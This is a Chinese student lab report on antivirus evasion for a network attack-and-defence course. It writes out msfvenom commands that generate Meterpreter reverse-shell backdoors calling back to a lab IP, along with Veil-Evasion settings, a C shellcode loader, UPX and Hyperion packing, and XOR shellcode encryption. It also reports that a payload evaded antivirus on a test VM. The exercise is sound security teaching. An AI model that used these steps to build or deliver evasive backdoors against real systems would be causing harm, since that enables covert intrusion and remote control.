2019-2020-2 网络对抗技术 20175214 Exp3 免杀原理与实践

假如想象 提交于 2020-03-29 06:22:19

2019-2020-2 网络对抗技术 20175214 Exp3 免杀原理与实践

一、预备知识

1.恶意代码检测机制

  • (1)基于特征码的检测
    • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
  • (2)启发式恶意软件检测
    • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
  • (3)基于行为的恶意软件检测
    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

2.免杀原理(AV)

  • (1)改变特征码
    • 有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • (2)改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • (3)非常规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件

二、实验内容

(1)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程;

  • 1、msf编码器生成exe

    • 直接检测

      • 将实验二中msf生成的后门程序5214_bd.exe上传到VirusTotal扫描,结果如下:

      • 可见,71个杀软有57个都检测了出来。

      • Virscan检测结果如下:

      • 可见,49个杀软有28个检测出来。

    • 进行10次编码

      • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.177.132 LPORT=5214 -f exe > bd_1.exe
        • 参数说明:
          • -b:删除字符;
          • -e:选择编码器;
          • -i:次数;
      • 上传检测,结果如下,和之前差距不大,可见编码没有太实质性的效果:
  • 2、使用msf生成其他格式的文件

    • 生成jar:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 x> 5214_bd.jar

      • 上传检测,结果如下,效果比exe好一点,有35个杀软检测出来:
    • 生成php:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 -f raw >5214_bd.php

      • 上传检测,结果如下,只有3个检测出来:
    • 生成jsp:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.177.132 LPORT=5214 R >5214_bd.jsp

      • 上传检测,结果如下,只有5个检测出来:
  • 3、使用veil-evasion生成后门程序及检测

    • 我认为这是最麻烦的一步,反复安装了好多次才成功,浪费了不少时间;

    • 安装完成后,首先输入veil,进入veil界面,然后输入use evasion进入veil-evasion:

    • 接下来进行配置,输入use c/meterpreter/rev_tcp.py进入配置界面,主要要配置的是ip和端口,和msf一样,ip选的是kali的ip;

      • set LHOST 192.168.177.132
      • set LPORT 5214
    • 输入generate生成文件,并输入文件名,文件的路径如图所示:

    • 还是将文件上传检测,比msf生成的exe要好一点,结果如下:

  • 4、使用shellcode编程

    • 在命令行中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 -f c,生成shellcode;

    • vim一个c文件,具体代码如下:

unsigned char buf[] = 之前获得的shellcode;
int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

  • 对文件进行编译:i686-w64-mingw32-g++ bd_shellcode.c -o bd_shellcode.exe并上传检测:

  • 5、加壳工具

    • 加壳是对相应的资源进行压缩,压缩后仍可运行。它可以用来保护版权,但同时许多病毒也利用它来作为原理。

    • 1、压缩壳(UPX)

      • 输入upx bd_shellcode.exe -o bd_shellcode_upx.exe进行加壳

      • 上传检测:

    • 2、加密壳(Hyperion)
      由于之前安装veil时是直接clone的,所以在对应的路径找不到Hyperion,就重新装了一个Hyperion,详细过程参见博客

      • 将之前产生的bd_shellcode_upx.exe拷进Hyperion文件夹,并运行如下指令:

        • wine hyperion.exe -v bd_shellcode_upx.exe bd_shellcode_upx_Hyperion.exe
      • 惯例,将加了双重壳的exe上传网站检测:

      • 然后震惊地发现双重壳的被检测数相比单壳反而增加了......

  • 6、使用其他课堂未介绍方法

    • 需要使用一个工具ShellcodeWrapper

    • 先用msfvenom生成一个raw格式的shellcode

      • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' LHOST=192.168.177.132 LPORT=5214 -f raw > shellcode.raw
    • 然后进入下载ShellcodeWrapper文件夹中执行下面命令,其中tidesec为自己设置的key。

      • python shellcode_encoder.py -cpp -cs -py shellcode.raw tidesec xor
    • 生成了三个文件,分别是C++源码,C#源码和py文件;

    • 将c++源码放进codeblock编译生成exe文件

    • 连接测试

    • 上传网站检测

(2)通过组合应用各种技术实现恶意代码免杀

  • 具体思路:用msfvenom生成一个raw格式的shellcode,使用ShellcodeWrapper对shellcode进行xor加密,将生成的c++源码编译生成exe
  • 使用360检测截图如下:

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 使用的是win7的虚拟机;
  • 运行结果和杀软版本如下:

三、基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含被标记过特征的数据则被认为是恶意代码。
  • 启发式恶意软件检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,它就被当做了恶意软件
  • 基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。

(2)免杀是做什么?

  • 使恶意代码可以逃过杀软的查杀

(3)免杀的基本方法有哪些?

  • 改变特征码:进行exe文件加壳操作,或者对shellcode用encode进行编码或者基于payload重新编译生成可执行文件、
  • 改变行为:使用反弹式连接、隧道技术与加密通讯的数据。同时加入正常功能代码、尽量减少对系统的修改。
  • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
  • 使用社工类攻击,诱骗目标关闭AV软件。
  • 纯手工打造一个恶意软件

(4)开启杀软能绝对防止电脑中恶意代码吗?

  • 不能,杀软在不断进步,恶意代码的技术也同样在不断更迭,我们能做的就是养成良好的上网习惯,并随时更新杀软病毒库,保证杀软的正常工作。

四、心得体会

  再次突破熬夜极限QAQ,真就一次比一次晚呗(凌晨五点......),这次实验绝大多数时间花在装veil和自行实现免杀上,其实主要是我比较头铁,不想使用之前同学已经实现的方法,所以碰了不少壁,期间也数次想过要放弃,转用一个现成的方法,但我还是坚持了下来,最终能够成功实现出来也让我长舒口气。
  这次实验让我学会了免杀的基本原理以及基本的操作,明白了杀软不是万能的,更明白了系统安全的重要性,通过查阅资料也锻炼了我的自学能力,收获很大。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!